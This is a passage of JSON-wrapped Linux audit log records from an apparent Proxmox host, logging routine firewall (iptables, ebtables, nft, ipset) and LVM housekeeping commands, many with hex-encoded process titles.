a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966205778,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.778:68895): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964845426,"@rawstring":"node=pve type=EXECVE msg=audit(1781964845.426:62878): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966205772,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.772:68894): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964845421,"@rawstring":"node=pve type=EXECVE msg=audit(1781964845.421:62877): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966205765,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.765:68893): proctitle=\"ip6tables-save\""} {"@timestamp":1781964845415,"@rawstring":"node=pve type=EXECVE msg=audit(1781964845.415:62876): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966205756,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.756:68892): proctitle=\"iptables-save\""} {"@timestamp":1781964845409,"@rawstring":"node=pve type=EXECVE msg=audit(1781964845.409:62875): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966205749,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.749:68891): proctitle=\"ip6tables-save\""} {"@timestamp":1781964845405,"@rawstring":"node=pve type=EXECVE msg=audit(1781964845.405:62874): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966205739,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.739:68890): proctitle=\"iptables-save\""} {"@timestamp":1781964845402,"@rawstring":"node=pve type=EXECVE msg=audit(1781964845.402:62873): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966205736,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.736:68889): proctitle=\"ebtables-restore\""} {"@timestamp":1781964845402,"@rawstring":"node=pve type=EXECVE msg=audit(1781964845.402:62872): argc=1 a0=\"date\""} {"@timestamp":1781966205733,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.733:68888): proctitle=\"ebtables-restore\""} {"@timestamp":1781964845398,"@rawstring":"node=pve type=EXECVE msg=audit(1781964845.398:62870): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966205726,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.726:68887): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964845392,"@rawstring":"node=pve type=EXECVE msg=audit(1781964845.392:62869): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966205720,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.720:68886): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964845386,"@rawstring":"node=pve type=EXECVE msg=audit(1781964845.386:62868): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966205715,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.715:68885): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964845382,"@rawstring":"node=pve type=EXECVE msg=audit(1781964845.382:62867): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966205709,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.709:68884): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964845376,"@rawstring":"node=pve type=EXECVE msg=audit(1781964845.376:62866): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966205703,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.703:68883): proctitle=697073657400726573746F7265"} {"@timestamp":1781964845370,"@rawstring":"node=pve type=EXECVE msg=audit(1781964845.370:62865): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966205695,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.695:68882): proctitle=\"ip6tables-save\""} {"@timestamp":1781964844412,"@rawstring":"node=pve type=EXECVE msg=audit(1781964844.412:62864): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966205687,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.687:68881): proctitle=\"iptables-save\""} {"@timestamp":1781964844387,"@rawstring":"node=pve type=EXECVE msg=audit(1781964844.387:62863): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966205683,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.683:68880): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964840848,"@rawstring":"node=pve type=EXECVE msg=audit(1781964840.848:62862): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966205679,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.679:68879): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964840841,"@rawstring":"node=pve type=EXECVE msg=audit(1781964840.841:62859): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966205678,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.678:68878): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964835834,"@rawstring":"node=pve type=EXECVE msg=audit(1781964835.834:62856): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966205678,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.678:68877): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964835820,"@rawstring":"node=pve type=EXECVE msg=audit(1781964835.820:62853): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966205673,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.673:68876): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964835358,"@rawstring":"node=pve type=EXECVE msg=audit(1781964835.358:62850): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966205665,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.665:68875): proctitle=\"ip6tables-save\""} {"@timestamp":1781964835354,"@rawstring":"node=pve type=EXECVE msg=audit(1781964835.354:62849): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966205656,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.656:68874): proctitle=\"iptables-save\""} {"@timestamp":1781964835353,"@rawstring":"node=pve type=EXECVE msg=audit(1781964835.353:62848): argc=1 a0=\"date\""} {"@timestamp":1781966205650,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.650:68873): proctitle=69707365740073617665"} {"@timestamp":1781964835350,"@rawstring":"node=pve type=EXECVE msg=audit(1781964835.350:62846): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966205641,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.641:68872): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964835343,"@rawstring":"node=pve type=EXECVE msg=audit(1781964835.343:62845): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966205630,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.630:68871): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964835336,"@rawstring":"node=pve type=EXECVE msg=audit(1781964835.336:62844): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966204343,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966204.343:68870): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964835330,"@rawstring":"node=pve type=EXECVE msg=audit(1781964835.330:62843): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966204311,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966204.311:68869): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964835324,"@rawstring":"node=pve type=EXECVE msg=audit(1781964835.324:62842): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966201221,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966201.221:68868): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781964835318,"@rawstring":"node=pve type=EXECVE msg=audit(1781964835.318:62840): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966201221,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966201.221:68867): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781964835314,"@rawstring":"node=pve type=EXECVE msg=audit(1781964835.314:62839): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966201218,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966201.218:68866): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781964835307,"@rawstring":"node=pve type=EXECVE msg=audit(1781964835.307:62838): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966200785,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966200.785:68865): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964835302,"@rawstring":"node=pve type=EXECVE msg=audit(1781964835.302:62837): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966200785,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966200.785:68864): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964835297,"@rawstring":"node=pve type=EXECVE msg=audit(1781964835.297:62836): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966200785,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966200.785:68863): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964835293,"@rawstring":"node=pve type=EXECVE msg=audit(1781964835.293:62835): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966200779,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966200.779:68862): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964835286,"@rawstring":"node=pve type=EXECVE msg=audit(1781964835.286:62834): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966200779,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966200.779:68861): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964835280,"@rawstring":"node=pve type=EXECVE msg=audit(1781964835.280:62833): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966200779,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966200.779:68860): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964835277,"@rawstring":"node=pve type=EXECVE msg=audit(1781964835.277:62832): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966195763,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.763:68859): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964835273,"@rawstring":"node=pve type=EXECVE msg=audit(1781964835.273:62831): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966195763,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.763:68858): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964835272,"@rawstring":"node=pve type=EXECVE msg=audit(1781964835.272:62830): argc=1 a0=\"date\""} {"@timestamp":1781966195763,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.763:68857): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964835269,"@rawstring":"node=pve type=EXECVE msg=audit(1781964835.269:62828): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966195752,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.752:68856): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964835262,"@rawstring":"node=pve type=EXECVE msg=audit(1781964835.262:62827): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966195752,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.752:68855): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964835256,"@rawstring":"node=pve type=EXECVE msg=audit(1781964835.256:62826): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966195752,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.752:68854): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964835251,"@rawstring":"node=pve type=EXECVE msg=audit(1781964835.251:62825): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966195619,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.619:68853): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964835244,"@rawstring":"node=pve type=EXECVE msg=audit(1781964835.244:62824): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966195616,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.616:68852): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964835237,"@rawstring":"node=pve type=EXECVE msg=audit(1781964835.237:62823): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966195615,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.615:68851): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964834326,"@rawstring":"node=pve type=EXECVE msg=audit(1781964834.326:62822): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966195615,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.615:68850): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964834301,"@rawstring":"node=pve type=EXECVE msg=audit(1781964834.301:62821): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966195611,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.611:68849): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964830810,"@rawstring":"node=pve type=EXECVE msg=audit(1781964830.810:62820): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966195603,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.603:68848): proctitle=\"ip6tables-save\""} {"@timestamp":1781964830797,"@rawstring":"node=pve type=EXECVE msg=audit(1781964830.797:62817): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966195595,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.595:68847): proctitle=\"iptables-save\""} {"@timestamp":1781964825790,"@rawstring":"node=pve type=EXECVE msg=audit(1781964825.790:62814): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966195586,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.586:68846): proctitle=\"ip6tables-save\""} {"@timestamp":1781964825785,"@rawstring":"node=pve type=EXECVE msg=audit(1781964825.785:62811): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966195577,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.577:68845): proctitle=\"iptables-save\""} {"@timestamp":1781964825227,"@rawstring":"node=pve type=EXECVE msg=audit(1781964825.227:62808): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966195573,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.573:68844): proctitle=\"ebtables-restore\""} {"@timestamp":1781964825224,"@rawstring":"node=pve type=EXECVE msg=audit(1781964825.224:62807): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966195569,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.569:68843): proctitle=\"ebtables-restore\""} {"@timestamp":1781964825223,"@rawstring":"node=pve type=EXECVE msg=audit(1781964825.223:62806): argc=1 a0=\"date\""} {"@timestamp":1781966195564,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.564:68842): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964825219,"@rawstring":"node=pve type=EXECVE msg=audit(1781964825.219:62804): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966195556,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.556:68841): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964825213,"@rawstring":"node=pve type=EXECVE msg=audit(1781964825.213:62803): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966195551,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.551:68840): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964825207,"@rawstring":"node=pve type=EXECVE msg=audit(1781964825.207:62802): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966195545,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.545:68839): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964825201,"@rawstring":"node=pve type=EXECVE msg=audit(1781964825.201:62801): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966195539,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.539:68838): proctitle=697073657400726573746F7265"} {"@timestamp":1781964825195,"@rawstring":"node=pve type=EXECVE msg=audit(1781964825.195:62800): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966195532,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.532:68837): proctitle=\"ip6tables-save\""} {"@timestamp":1781964825188,"@rawstring":"node=pve type=EXECVE msg=audit(1781964825.188:62798): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966195523,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.523:68836): proctitle=\"iptables-save\""} {"@timestamp":1781964825184,"@rawstring":"node=pve type=EXECVE msg=audit(1781964825.184:62797): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966195519,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.519:68835): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964825179,"@rawstring":"node=pve type=EXECVE msg=audit(1781964825.179:62796): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966195516,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.516:68834): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964825174,"@rawstring":"node=pve type=EXECVE msg=audit(1781964825.174:62795): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966195515,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.515:68833): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964825169,"@rawstring":"node=pve type=EXECVE msg=audit(1781964825.169:62794): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966195515,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.515:68832): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964825163,"@rawstring":"node=pve type=EXECVE msg=audit(1781964825.163:62793): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966195510,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.510:68831): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964825156,"@rawstring":"node=pve type=EXECVE msg=audit(1781964825.156:62792): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966195502,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.502:68830): proctitle=\"ip6tables-save\""} {"@timestamp":1781964825150,"@rawstring":"node=pve type=EXECVE msg=audit(1781964825.150:62791): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966195494,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.494:68829): proctitle=\"iptables-save\""} {"@timestamp":1781964825146,"@rawstring":"node=pve type=EXECVE msg=audit(1781964825.146:62790): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966195487,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.487:68828): proctitle=69707365740073617665"} {"@timestamp":1781964825143,"@rawstring":"node=pve type=EXECVE msg=audit(1781964825.143:62789): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966195476,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.476:68827): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964825142,"@rawstring":"node=pve type=EXECVE msg=audit(1781964825.142:62788): argc=1 a0=\"date\""} {"@timestamp":1781966195467,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966195.467:68826): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964825138,"@rawstring":"node=pve type=EXECVE msg=audit(1781964825.138:62786): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966194203,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966194.203:68825): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964825132,"@rawstring":"node=pve type=EXECVE msg=audit(1781964825.132:62785): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966194172,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966194.172:68824): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964825125,"@rawstring":"node=pve type=EXECVE msg=audit(1781964825.125:62784): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966190741,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966190.741:68823): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964825120,"@rawstring":"node=pve type=EXECVE msg=audit(1781964825.120:62783): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966190741,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966190.741:68822): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964825113,"@rawstring":"node=pve type=EXECVE msg=audit(1781964825.113:62782): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966190741,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966190.741:68821): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964825107,"@rawstring":"node=pve type=EXECVE msg=audit(1781964825.107:62781): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966190732,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966190.732:68820): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964824223,"@rawstring":"node=pve type=EXECVE msg=audit(1781964824.223:62780): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966190732,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966190.732:68819): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964824196,"@rawstring":"node=pve type=EXECVE msg=audit(1781964824.196:62779): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966190731,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966190.731:68818): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964820772,"@rawstring":"node=pve type=EXECVE msg=audit(1781964820.772:62778): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966185725,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.725:68817): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964820764,"@rawstring":"node=pve type=EXECVE msg=audit(1781964820.764:62775): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966185725,"@rawstring":"node=pve 